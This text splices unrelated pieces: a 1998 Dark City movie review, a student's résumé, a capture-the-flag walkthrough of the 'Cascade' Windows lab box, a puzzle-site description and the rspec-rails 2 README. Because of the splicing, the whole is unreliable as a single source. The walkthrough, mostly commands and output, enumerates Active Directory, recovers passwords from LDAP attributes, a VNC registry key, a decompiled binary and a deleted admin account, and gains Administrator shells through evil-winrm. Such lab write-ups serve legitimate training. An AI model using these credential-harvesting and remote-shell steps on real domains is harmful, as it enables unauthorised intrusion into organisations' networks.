There are movies that are carried completely on the weight of character development and interaction (WHAT'S EATING GILBERT GRAPE?), and there are movies completely carried by brilliant special effects (INDEPENDENCE DAY). When the two actually collide (CONTACT), it is a rare masterpiece. DARK CITY is a visual movie with a very intriguing idea - unfortunately this city is so dark, the idea can't see where it's going.
Imagine waking up one day, your memory altogether erased and a dead prostitute in your room. Like a Dr. Jekyll & Mr. Hyde story, DARK CITY begins with such a premise as John Murdoch (Rufus Sewell) awakens in a dingy bathtub with no recollection of how he got there. Although John can not remember his own identity, there are several people who do seem to know he is. For one, there is the police, in particular, Inspector Frank Bumstead (William Hurt) who oversees the case of mysterious murders for which John is the main suspect. Secondly, there is John's wife, Emma (Jennifer Connelly), a lounge singer who's affair supposedly drove John away. Thirdly, there is the mad scientist like Dr. Daniel Poe Schreber (Kiefer Sutherland), a man whose intentions are as ambiguous as the time of day (which in "Dark City" is *very* uncertain). Last but not least, we have a group of bald stark-white guys in black attire known by names such as Mr. Hand, Mr. Sleep, Mr. Quick, Mr. Wall, etc. Note: even though they're all bald, there isn't a Mr. Clean.
As things very tediously slowly unravel, we discover that these "men", simply known as "strangers", have been putting the entire world to sleep every time the clock strikes midnight. They then proceed to use supernatural powers they refer to as "tuning" to reshape the city. By joint concentration, the group of non-human beings are able to construct elaborate apartment buildings in a matter of seconds, but when everyone awakes from their frozen state, nobody seems to notice the world around them has transformed into a new, seemingly unrecognizable environment. John becomes the exception to the rule, never falling under the sleeping spell and fully aware that the city is anything but natural. He also has the ability to tune, something he isn't fully aware of but something the "strangers" find very threatening to their ascendancy. With everyone seemingly against him, John finds himself on the run from a darkly transcendental and claustrophobic realm.
Discovering this fact alone takes way too much time. For a very long while, the audience is left completely in the dark (pun intended) about any sort of plot. We follow John around the city, watching bizarre occurrences take place around him as though they were common everyday circumstances. However, this is true in Dark City, where everybody's heard of Shell Beach but nobody knows how to get there, and the sun is in everybody's memories but hauntingly never present in present time. It sounds highly intriguing, and had the audience been introduced to the "why" questions without dallying so long on the "what" questions, DARK CITY could've made for a richly absorbent piece of gothic- psychological thriller-sci-fi. Had director / co-writer Alex Proyas bothered to delve as deep into John's psychosis as he did the futuristically macabre imagery, the result would've been an intense and innovative mind trip. Sadly, without character development or the slightest attempt to lure the audience in (instead of just confusing us endlessly), such a grand project was never realized.
Hurt's not looking up this year with such dreary performances in this and LOST IN SPACE, but at least here his heavily subdued toning blends right in. Sewell and Connelly are also inordinately ordinary, and Sutherland's Igor impression is highly laughable, though never intentionally so. In the drab settings, a lesser ebullience can be expected, but when performances become lethargic, it is very hard to remain interested. Proyas, whose THE CROW has developed somewhat of a cult following, is trying to be too artistically trippy, and there seems to be a lost, deep meaning about humanity that wants to come thru but never does surface. Any attempts at "real" substance fail embarrassingly. With so much potential packed into such a misguided film, one must give DARK CITY two stars for effort, but a big thumbs down on the recommendation level.
April 09, 1998
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Prabhav Jain
Experiences
July 2019August 2019
Intern
Ministry of Electronics & Information Technology Delhi- Worked in Reasearch and Development Team under various eminent scientists.
- Made a deep learning project.
2019Present
SIG Head
International Organisation of Software Developers Delhi- Organized various technical events in institution
- Worked as a graphic designer and technical mentor
Projects
Smart Attendance Monitor
- A Machine Learning project capable of counting attendance through CCTV Cameras.
Planar Data Classification
- A Deep Learning project capable of classifying planar data using neural networks.
Hand Written Digit Recognition
- Deep Learning project which classifies various numeric digits.
Education
20172021
B.Tech in Information Technology
Maharaja Agrasen Institute of Technology Delhi, IndiaCGPA - 8.65/10.0
20162017
Senior Secondary School
Ryan International School Delhi, IndiaCBSE, 95.6%
20142015
Matriculation
Ryan International School Delhi, IndiaCBSE, 91.2%


Hello,
This is my write-up for Cascade box, which was a windows box. I had some difficulties with this since I am not that good with windows but I learned new things. Let’s dive into it.
First of all I scan for available ports using the following nmap command.
nmap -sC -sV -oA initial -Pn <IP_ADDRESS>
I get the following result:
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-04-01 15:35:14Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -1s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-04-01T15:36:03
|_ start_date: 2020-04-01T14:37:26
We have few services which are relatable to active directory such as kerberos, ldap, smb. First I will use enum4linux to get possible username and group, which information accessible from ldap.
enum4linux -a <IP_ADDRESS>
Users:
Group 'Domain Users' (RID: 513) has member: CASCADE\administrator
Group 'Domain Users' (RID: 513) has member: CASCADE\krbtgt
Group 'Domain Users' (RID: 513) has member: CASCADE\arksvc
Group 'Domain Users' (RID: 513) has member: CASCADE\s.smith
Group 'Domain Users' (RID: 513) has member: CASCADE\r.thompson
Group 'Domain Users' (RID: 513) has member: CASCADE\util
Group 'Domain Users' (RID: 513) has member: CASCADE\j.wakefield
Group 'Domain Users' (RID: 513) has member: CASCADE\s.hickson
Group 'Domain Users' (RID: 513) has member: CASCADE\j.goodhand
Group 'Domain Users' (RID: 513) has member: CASCADE\a.turnbull
Group 'Domain Users' (RID: 513) has member: CASCADE\e.crowe
Group 'Domain Users' (RID: 513) has member: CASCADE\b.hanson
Group 'Domain Users' (RID: 513) has member: CASCADE\d.burman
Group 'Domain Users' (RID: 513) has member: CASCADE\BackupSvc
Group 'Domain Users' (RID: 513) has member: CASCADE\j.allen
Group 'Domain Users' (RID: 513) has member: CASCADE\i.croft
Groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44e]
group:[IT] rid:[0x459]
group:[Production] rid:[0x45a]
group:[HR] rid:[0x45b]
group:[AD Recycle Bin] rid:[0x45f]
group:[Backup] rid:[0x460]
group:[Temps] rid:[0x463]
group:[WinRMRemoteWMIUsers__] rid:[0x465]
group:[Remote Management Users] rid:[0x466]
group:[Factory] rid:[0x46c]
group:[Finance] rid:[0x46d]
group:[Audit Share] rid:[0x471]
group:[Data Share] rid:[0x472]
I have a list of usernames and a list of groups. I will try with each one of these username to do a null authentication on smb port 445. But that was not the case. At this point I install and open a gui tool called jxplorer. With this tool I can inspect ldap easily. I enter the host ip and then try to find juicy info on users attributes.
User r.thompson has a attribute named CascadeLegacyPwd, and I can tell it is base64 because I see a =
.
I get the password for that user.
echo -n "clk0bjVldmE=" | base64 -d
rY4n5eva
Let’s use smbclient with the username and password we have, to test if we can login to smb …..
smbclient -L //<IP_ADDRESS> -U r.thompson
Enter WORKGROUP\r.thompson's password: rY4n5eva
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Audit$ Disk
C$ Disk Default share
Data Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
I try to access Audit$ but I don’t have permission to do, and then I try Data:
kali@kali:~/Desktop/Boxes/Cascade/Nmap$ smbclient //<IP_ADDRESS>/Audit$ -U r.thompson
Enter WORKGROUP\r.thompson's password:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit
kali@kali:~/Desktop/Boxes/Cascade/Nmap$ smbclient //<IP_ADDRESS>/Data -U r.thompson
Enter WORKGROUP\r.thompson's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jan 26 22:27:34 2020
.. D 0 Sun Jan 26 22:27:34 2020
Contractors D 0 Sun Jan 12 20:45:11 2020
Finance D 0 Sun Jan 12 20:45:06 2020
IT D 0 Tue Jan 28 13:04:51 2020
Production D 0 Sun Jan 12 20:45:18 2020
Temps D 0 Sun Jan 12 20:45:15 2020
13106687 blocks of size 4096. 7797938 blocks available
smb: \>
I was able to get these files from the share.
kali@kali:~/Desktop/Boxes/Cascade/smbshare/Data$ ls
ArkAdRecycleBin.log dcdiag.log Meeting_Notes_June_2018.html 'VNC Install.reg'
kali@kali:~/Desktop/Boxes/Cascade/smbshare/Data$
The file ArkAdRecycleBin.log
contains logs from a program called Ark Ad recycle bin.
If you look closely you can see 2 objects get deleted. And the command is running as user ArkSvc. Maybe we can restore these objects?
The file dcdiag.log
has inside:
Which as the header says is something related to Server diagnosis. But there was nothing I could take as good info from this file.
The other file Meeting_Notes_June_2018.html
:
From this file I get the following info:
TempAdmin
and the password is the same as the normal admin.If you look at the ArkAdRecycleBin
file we can see user TempAdmin
get deleted and the date is 8/12/2018 which is the day after wednesday. We keep this in our mind.
The last file we see it VNC Install.reg
:
This is extracted from a registry as the file extension says. Also there is Password
which is in hex. I try and search more in depth for this and find out a tool which may decode the password for me. I used this tool vncpasswd.
kali@kali:~/Desktop/Boxes/Cascade/smbshare/Data$ git clone https://github.com/trinitronx/vncpasswd.py.git vncpasswd.py
Cloning into 'vncpasswd.py'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (22/22), done.
remote: Total 287 (delta 10), reused 13 (delta 4), pack-reused 261
Receiving objects: 100% (287/287), 87.94 KiB | 526.00 KiB/s, done.
Resolving deltas: 100% (144/144), done.
kali@kali:~/Desktop/Boxes/Cascade/smbshare/Data$ cd vncpasswd.py
kali@kali:~/Desktop/Boxes/Cascade/smbshare/Data/vncpasswd.py$ ./vncpasswd.py -d -H "6bcf2a4b6e5aca0f"
Cannot read from Windows Registry on a Linux system
Cannot write to Windows Registry on a Linux system
Decrypted Bin Pass= 'sT333ve2'
Decrypted Hex Pass= '7354333333766532'
kali@kali:~/Desktop/Boxes/Cascade/smbshare/Data/vncpasswd.py$
And get the password sT333ve2
. At this point I nmap again to check if winrm is open.
kali@kali:~$ nmap -Pn -p 5985,5986 <IP_ADDRESS>
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-08 19:27 EDT
Nmap scan report for <IP_ADDRESS>
Host is up (0.069s latency).
PORT STATE SERVICE
5985/tcp open wsman
5986/tcp filtered wsmans
Nmap done: 1 IP address (1 host up) scanned in 1.77 seconds
kali@kali:~$
I first try with user s.smith(name taken from enum4linux output) as this user was also seen in the Meeting_Notes_June_2018.html
file.
kali@kali:~$ evil-winrm -i <IP_ADDRESS> -u s.smith -p sT333ve2
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents> whoami
cascade\s.smith
I am logged in as s.smith
now and I can read the user.txt file also.
After poking around the box I can’t seem to find much. So I go back, and try to see if I can access the smb share with the credentials of the new user…
smbclient //<IP_ADDRESS>/Audit$ -U s.smith
Enter WORKGROUP\s.smith's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jan 29 13:01:26 2020
.. D 0 Wed Jan 29 13:01:26 2020
CascAudit.exe A 13312 Tue Jan 28 16:46:51 2020
CascCrypto.dll A 12288 Wed Jan 29 13:00:20 2020
DB D 0 Tue Jan 28 16:40:59 2020
RunAudit.bat A 45 Tue Jan 28 18:29:47 2020
System.Data.SQLite.dll A 363520 Sun Oct 27 02:38:36 2019
System.Data.SQLite.EF6.dll A 186880 Sun Oct 27 02:38:38 2019
x64 D 0 Sun Jan 26 17:25:27 2020
x86 D 0 Sun Jan 26 17:25:27 2020
13106687 blocks of size 4096. 7796325 blocks available
smb: \>
I can access audit which contains a .exe with a dll which seems to be linked to it A DB folder and some others .ddl files.
Inside DB there is a file named Audit.db
.
kali@kali:~/Desktop/Boxes/Cascade/smbshare/$ file Audit.db
Audit.db: SQLite 3.x database, last written using SQLite version
I open the file with SQlite database browser. I find inside the Ldap Table a base64 string. I try to decode it bu nothing. This seems to belong to a user named ArkSvc
. This user maybe is related to ArkAdRecycleBin as seen on the log.
By looking into the RunAudit.bat
I see there is something related to the executable file.
kali@kali:~/Desktop/Boxes/Cascade/smbshare/$ cat RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
Maybe the password is encrypted by using the exe file we saw earlier. I am going to use AvaloniaILSpy you can also use dotPeek if you feel like switching to a windows box.
I open the executable file and try to find the main function. Because this is the function every program starts. In the main program I find some juicy staff.
There is some decryption proccess happening on password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
I also found a string there. Now I am going to load the dll file to see if I found something there also, as the Crypto.DecryptString may be reffering to the dll. I find the decryption Function inside the dll
There is also a IV key and the decryption algorithm which seems to be AES in CBC mode
.
I now have the following extracted:
By using this website, I get the decrypted password in base64 encoding.
kali@kali:~$ echo -n "dzNsYzBtZUZyMzFuZA==" | base64 -d
w3lc0meFr31nd
I now login as the user ArkSvc
and password w3lc0meFr31nd
with evil-winrm. Now as the file ArkAdRecycleBin.log
shows I will try to restore the deleted accounts, because these are on recyclebin right???…
I see the deleted objects:
get-adobject -filter 'objectclass -eq "user" -AND IsDeleted -eq $True' -IncludeDeletedObjects -properties IsDeleted,LastKnownParent | Format-List Name,IsDeleted,LastKnownParent,DistinguishedName
But trying to restore it does not gives me the rights to do it.
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects | Restore-ADObject
Insufficient access rights to perform the operation
At line:1 char:80
+ ... ccountName -eq 'TempAdmin'} -IncludeDeletedObjects | Restore-ADObject
+ ~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (CN=TempAdmin\0A...ascade,DC=local:ADObject) [Restore-ADObject], ADException
+ FullyQualifiedErrorId : 0,Microsoft.ActiveDirectory.Management.Commands.RestoreADObject
*Evil-WinRM* PS C:\Users\arksvc\Documents>
After a little bit, I try and see if I can see the properties of this object, which may throw us the password as the r.thompson user did.
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects -Properties *
accountExpires :<PHONE_NUMBER>854775807
badPasswordTime : 0
badPwdCount : 0
CanonicalName : cascade.local/Deleted Objects/TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
codePage : 0
countryCode : 0
Created : 1/27/2020 3:23:08 AM
createTimeStamp : 1/27/2020 3:23:08 AM
Deleted : True
Description :
DisplayName : TempAdmin
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
dSCorePropagationData : {1/27/2020 3:23:08 AM, 1/1/1601 12:00:00 AM}
givenName : TempAdmin
instanceType : 4
isDeleted : True
LastKnownParent : OU=Users,OU=UK,DC=cascade,DC=local
lastLogoff : 0
lastLogon : 0
logonCount : 0
Modified : 1/27/2020 3:24:34 AM
modifyTimeStamp : 1/27/2020 3:24:34 AM
msDS-LastKnownRDN : TempAdmin
Name : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
nTSecurityDescriptor : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory :
ObjectClass : user
ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
objectSid : S-1-5-21-3332504370-1206983947-1165150453-1136
primaryGroupID : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet :<PHONE_NUMBER>83479503
sAMAccountName : TempAdmin
sDRightsEffective : 0
userAccountControl : 66048
userPrincipalName<EMAIL_ADDRESS>uSNChanged : 237705
uSNCreated : 237695
whenChanged : 1/27/2020 3:24:34 AM
whenCreated : 1/27/2020 3:23:08 AM
Indeed it did throw us the password:
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
which when I base64 decode it gives me the cleartext password:
baCT3r1aN00dles
I now use again evil-winrm but this time as user Administrator(Because as seen in the file Meeting_Notes_June_2018.html
the TempAdmin has the same password as the admin).
kali@kali:~/Desktop/Boxes/Cascade/smbshare/Data/vncpasswd.py$ evil-winrm -i <IP_ADDRESS> -u Administrator -p baCT3r1aN00dles
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
I can obtain root.txt now.
Trying to log in as TempAdmin does not do something as this users is deleted.
I restore the object with the command Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects | Restore-ADObject
as user administrator and then try to login but I can’t do it. By viewing the in which Groups TempAdmin
the user is not inside Remote Management user
. By adding the user at that group I can login also as TempAdmin
kali@kali:~/Desktop/Boxes/Cascade/smbshare/Data/vncpasswd.py$ evil-winrm -i <IP_ADDRESS> -u Administrator -p baCT3r1aN00dles
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> net user TempAdmin
User name TempAdmin
Full Name TempAdmin
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 27/01/2020 04:23:08
Password expires Never
Password changeable 27/01/2020 04:23:08
Password required Yes
User may change password No
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
*Evil-WinRM* PS C:\Users\Administrator\Documents> Add-LocalGroupMember -Group "Remote Management Users" -Member "TempAdmin"
*Evil-WinRM* PS C:\Users\Administrator\Documents> exit
kali@kali:~/Desktop/Boxes/Cascade/smbshare/Data/vncpasswd.py$ evil-winrm -i <IP_ADDRESS> -u TempAdmin -p baCT3r1aN00dles
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\TempAdmin\Documents> whoami
cascade\tempadmin
Here are some useful links while doing this box. Active-directory-recycle-bin


puzz.link
puzz.link hosts some puzzle things. "Puzzle" here refers to Nikoli/WPF style logic puzzles, for example Sudoku or Slitherlink.Currently, you can find
- A tool to share and solve puzzles online at
puzz.link/p
. - A database of publicly shared puzzles from across the web at
puzz.link/db
.
The pzprjs applet
puzz.link hosts the robx/pzprjs applet, an improved fork of the applet that powers pzv.jp.
For example, the URL
puzz.link/p?skyscrapers/5/5/g2l2g43l35
is a
Skyscrapers puzzle
And puzz.link/p?masyu/10/10/6000123630000664000026000239000000
is a
Masyu puzzle
You can explore the list of puzzle types to reach the editor. To share a puzzle, share the link via "File > Export URL". You can find puzzles that use this applet around the web, for example on Twitter or at Puzzle Square JP (e.g., the Geradeweg puzzles).
The puzz.link puzzle database
At puzz.link/db, you can access a database of publicly accessible puzzles, found via twitter and puzzle blogs, among others. For example, you can find more Masyu puzzles.Terms, Privacy
Puzzle content
For all puzzles shared via puzz.link, the copyright lies with their authors. We merely serve an interface for solving those puzzles; any issues should be taken up with the site hosting the link. The puzz.link database only shares puzzles that are available publicly, and links to their source.Privacy
Puzzle applet
The solving applet athttps://puzz.link/p
stores user preferences in the
browser local storage. These preferences are not shared with the puzz.link servers.
When logged in to an account at the puzzle database (see below), the
applet sends information about solved puzzles to the puzz.link servers.
Puzzle database
It's possible to create an account with the puzz.link database athttps://puzz.link/db
. In that case, we store account details to
enable login. You can optionally provide an email address which will be used to
get in touch for important issues relating to your account, such as password reset.
When you log in to the puzz.link database, we store a session identifier in the browser local storage.
When interacting with the puzz.link database while logged in, we store data such as tags and solve status as entered while interacting with the database. Furthermore, when you solve puzzles using the puzz.link applet while logged in, those solves will be recorded in your account.
Contact
If you have any questions or comments, get in touch atcontact at puzz.link
,
or join the puzz.link chat at puzzlink.zulipchat.com.
For bug reports and feature requests, please use the github issue trackers:
pzprjs applet and
puzzle database.


Build a Free Web Application That Allows Any Person to Compose Their Own Achievement Plaques
Version: 0.95 — 02.09.2017
Font: League Gothic Cyrillic


# rspec-rails-2
rspec-2 for rails-3 with lightweight extensions to each
Note: Use [rspec-rails-1.3](github.com/dchelimsky/rspec-rails) for rails-2.
## Install
``` gem install rspec-rails ```
This installs the following gems:
``` rspec rspec-core rspec-expectations rspec-mocks rspec-rails ```
## Configure
Add `rspec-rails` to the `:test` and `:development` groups in the Gemfile:
```ruby group :test, :development do
gem "rspec-rails", "~> 2.6"
end ```
It needs to be in the `:development` group to expose generators and rake tasks without having to type `RAILS_ENV=test`.
Now you can run:
``` rails generate rspec:install ```
This adds the spec directory and some skeleton files, including the “rake spec” task.
### Generators
If you type `script/rails generate`, the only RSpec generator you’ll actually see is `rspec:install`. That’s because RSpec is registered with Rails as the test framework, so whenever you generate application components like models, controllers, etc, RSpec specs are generated instead of Test::Unit tests.
Please note that the generators are there to help you get started, but they are no substitute for writing your own examples, and they are only guaranteed to work out of the box for the default scenario (`ActiveRecord` & `Webrat`).
### Webrat and Capybara
You can choose between webrat or capybara for simulating a browser, automating a browser, or setting expectations using the matchers they supply. Just add your preference to the Gemfile:
```ruby gem “webrat” gem “capybara” ```
## Living on edge
Bundler makes it a snap to use the latest code for any gem your app depends on. For rspec-rails, you’ll need to point bundler to the git repositories for `rspec-rails` and the other rspec related gems it depends on:
```ruby gem “rspec-rails”, :git => “git://github.com/rspec/rspec-rails.git“ gem “rspec”, :git => “git://github.com/rspec/rspec.git“ gem “rspec-core”, :git => “git://github.com/rspec/rspec-core.git“ gem “rspec-expectations”, :git => “git://github.com/rspec/rspec-expectations.git“ gem “rspec-mocks”, :git => “git://github.com/rspec/rspec-mocks.git“ ```
Run `bundle install` and you’ll have whatever is in git right now. Any time you want to update to a newer head, just run `bundle update`.
Keep in mind that each of these codebases is under active development, which means that its entirely possible that you’ll pull from these repos and they won’t play nice together. If playing nice is important to you, stick to the published gems.
## Backwards compatibility
This is a complete rewrite of the rspec-rails extension designed to work with rails-3.x and rspec-2.x. It will not work with older versions of either rspec or rails. Many of the APIs from rspec-rails-1 have been carried forward, however, so upgrading an app from rspec-1/rails-2, while not pain-free, should not send you to the doctor with a migraine.
## Known issues
See github.com/rspec/rspec-rails/issues
# Request Specs
Request specs live in spec/requests, and mix in behavior [ActionDispatch::Integration::Runner](api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html), which is the basis for [Rails’ integration tests](guides.rubyonrails.org/testing.html#integration-testing). The intent is to specify one or more request/response cycles from end to end using a black box approach.
```ruby describe “home page” do
it "diplays the user's username after successful login" do user = User.create!(:username => "jdoe", :password => "secret") get "/login" assert_select "form.login" do assert_select "input[name=?]", "username" assert_select "input[name=?]", "password" assert_select "input[type=?]", "submit" end post "/login", :username => "jdoe", :password => "secret" assert_select ".header .username", :text => "jdoe" end
end ```
This example uses only standard Rails and RSpec API’s, but many RSpec/Rails users like to use extension libraries like FactoryGirl and Capybara:
```ruby describe “home page” do
it "diplays the user's username after successful login" do user = Factory(:user, :username => "jdoe", :password => "secret") visit "/login" fill_in "Username", :with => "jdoe" fill_in "Password", :with => "secret" click_buton "Log in" page.should have_selector(".header .username", :content => "jdoe") end
end ```
FactoryGirl decouples this example from changes to validation requirements, which can be encoded into the underlying factory definition without requiring changes to this example.
Among other benefits, Capybara binds the form post to the generated HTML, which means we don’t need to specify them separately.
There are several other Ruby libs that implement the factory pattern or provide a DSL for request specs (a.k.a. acceptance or integration specs), but FactoryGirl and Capybara seem to be the most widely used. Whether you choose these or other libs, we strongly recommend using something for each of these roles.
# Controller Specs
Controller specs live in spec/controllers, and mix in ActionController::TestCase::Behavior, which is the basis for Rails’ functional tests.
## with fixtures
```ruby describe WidgetsController do
describe "GET index" do fixtures :widgets it "assigns all widgets to @widgets" do get :index assigns(:widgets).should eq(Widget.all) end end
end ```
## with a factory
```ruby describe WidgetsController do
describe "GET index" do it "assigns all widgets to @widgets" do widget = Factory(:widget) get :index assigns(:widgets).should eq([widget]) end end
end ```
## with stubs
```ruby describe WidgetsController do
describe "GET index" do it "assigns all widgets to @widgets" do widget = stub_model(Widget) Widget.stub(:all) { [widget] } get :index assigns(:widgets).should eq([widget]) end end
end ```
## matchers
In addition to the stock matchers from rspec-expectations, controller specs add these matchers, which delegate to rails’ assertions:
```ruby response.should render_template(*args) # => delegates to assert_template(*args)
response.should redirect_to(destination) # => delegates to assert_redirected_to(destination) ```
## isolation from views
RSpec’s preferred approach to spec’ing controller behaviour is to isolate the controller from its collaborators. By default, therefore, controller example groups do not render the views in your app. Due to the way Rails searches for view templates, the template still needs to exist, but it won’t actually be loaded.
NOTE that this is different from rspec-rails-1 with rails-2, which did not require the presence of the file at all. Due to changes in rails-3, this was no longer feasible in rspec-rails-2.
## `render_views`
If you prefer a more integrated approach, similar to that of Rails’ functional tests, you can tell controller groups to render the views in the app with the `render_views` declaration:
```ruby describe WidgetsController do
render_views # ...
```
### Upgrade note
`render_views` replaces `integrate_views` from rspec-rails-1.3
## `assigns`
Use `assigns(key)` to express expectations about instance variables that a controller assigns to the view in the course of an action:
```ruby get :index assigns(:widgets).should eq(expected_value) ```
# View specs
View specs live in spec/views, and mix in ActionView::TestCase::Behavior.
```ruby describe “events/index.html.erb“ do
it "renders _event partial for each event" do assign(:events, [stub_model(Event), stub_model(Event)]) render view.should render_template(:partial => "_event", :count => 2) end
end
describe “events/show.html.erb“ do
it "displays the event location" do assign(:event, stub_model(Event, :location => "Chicago" )) render rendered.should contain("Chicago") end
end ```
View specs infer the controller name and path from the path to the view template. e.g. if the template is “events/index.html.erb“ then:
```ruby controller.controller_path == “events” controller.request.path_parameters[:controller] == “events” ```
This means that most of the time you don’t need to set these values. When spec’ing a partial that is included across different controllers, you may need to override these values before rendering the view.
To provide a layout for the render, you’ll need to specify both the template and the layout explicitly. For example:
```ruby render :template => “events/show“, :layout => “layouts/application“ ```
## `assign(key, val)`
Use this to assign values to instance variables in the view:
```ruby assign(:widget, stub_model(Widget)) render ```
The code above assigns `stub_model(Widget)` to the `@widget` variable in the view, and then renders the view.
Note that because view specs mix in `ActionView::TestCase` behavior, any instance variables you set will be transparently propagated into your views (similar to how instance variables you set in controller actions are made available in views). For example:
```ruby @widget = stub_model(Widget) render # @widget is available inside the view ```
RSpec doesn’t officially support this pattern, which only works as a side-effect of the inclusion of `ActionView::TestCase`. Be aware that it may be made unavailable in the future.
### Upgrade note
```ruby # rspec-rails-1.x assigns[key] = value
# rspec-rails-2.x assign(key, value) ```
## `rendered`
This represents the rendered view.
```ruby render rendered.should =~ /Some text expected to appear on the page/ ```
### Upgrade note
```ruby # rspec-rails-1.x render response.should xxx
# rspec-rails-2.x render rendered.should xxx ```
# Model specs
Model specs live in spec/models.
```ruby describe Articles do
describe ".recent" do it "includes articles published less than one week ago" do article = Article.create!(:published_at => Date.today - 1.week + 1.second) Article.recent.should eq([article]) end it "excludes articles published at midnight one week ago" do article = Article.create!(:published_at => Date.today - 1.week) Article.recent.should be_empty end it "excludes articles published more than one week ago" do article = Article.create!(:published_at => Date.today - 1.week - 1.second) Article.recent.should be_empty end end
end ```
# Routing specs
Routing specs live in spec/routing.
```ruby describe “routing to profiles” do
it "routes /profile/:username to profile#show for username" do { :get => "/profiles/jsmith" }.should route_to( :controller => "profiles", :action => "show", :username => "jsmith" ) end it "does not expose a list of profiles" do { :get => "/profiles" }.should_not be_routable end
end ```
### Upgrade note
`route_for` from rspec-rails-1.x is gone. Use `route_to` and `be_routable` instead.
# Helper specs
Helper specs live in spec/helpers, and mix in ActionView::TestCase::Behavior.
Provides a `helper` object which mixes in the helper module being spec’d, along with `ApplicationHelper` (if present).
```ruby describe EventsHelper do
describe "#link_to_event" do it "displays the title, and formatted date" do event = Event.new("Ruby Kaigi", Date.new(2010, 8, 27)) # helper is an instance of ActionView::Base configured with the # EventsHelper and all of Rails' built-in helpers helper.link_to_event.should =~ /Ruby Kaigi, 27 Aug, 2010/ end end
end ```
# Matchers
rspec-rails exposes domain-specific matchers to each of the example group types. Most of them simply delegate to Rails’ assertions.
## `be_a_new`
- Available in all specs.
- Primarily intended for controller specs
```ruby object.should be_a_new(Widget) ```
Passes if the object is a `Widget` and returns true for `new_record?`
## `render_template`
- Delegates to Rails’ assert_template.
- Available in request, controller, and view specs.
In request and controller specs, apply to the response object:
```ruby response.should render_template(“new”) ```
In view specs, apply to the view object:
```ruby view.should render_template(:partial => “_form”, :locals => { :widget => widget } ) ```
## `redirect_to`
- Delegates to assert_redirect
- Available in request and controller specs.
```ruby response.should redirect_to(widgets_path) ```
## `route_to`
- Delegates to Rails’ assert_routing.
- Available in routing and controller specs.
```ruby { :get => “/widgets” }.should route_to(:controller => “widgets”, :action => “index”) ```
## `be_routable`
Passes if the path is recognized by Rails’ routing. This is primarily intended to be used with `should_not` to specify routes that should not be routable.
```ruby { :get => “/widgets/1/edit“ }.should_not be_routable ```
# Contribute
See [github.com/rspec/rspec-dev](http://github.com/rspec/rspec-dev)
# Also see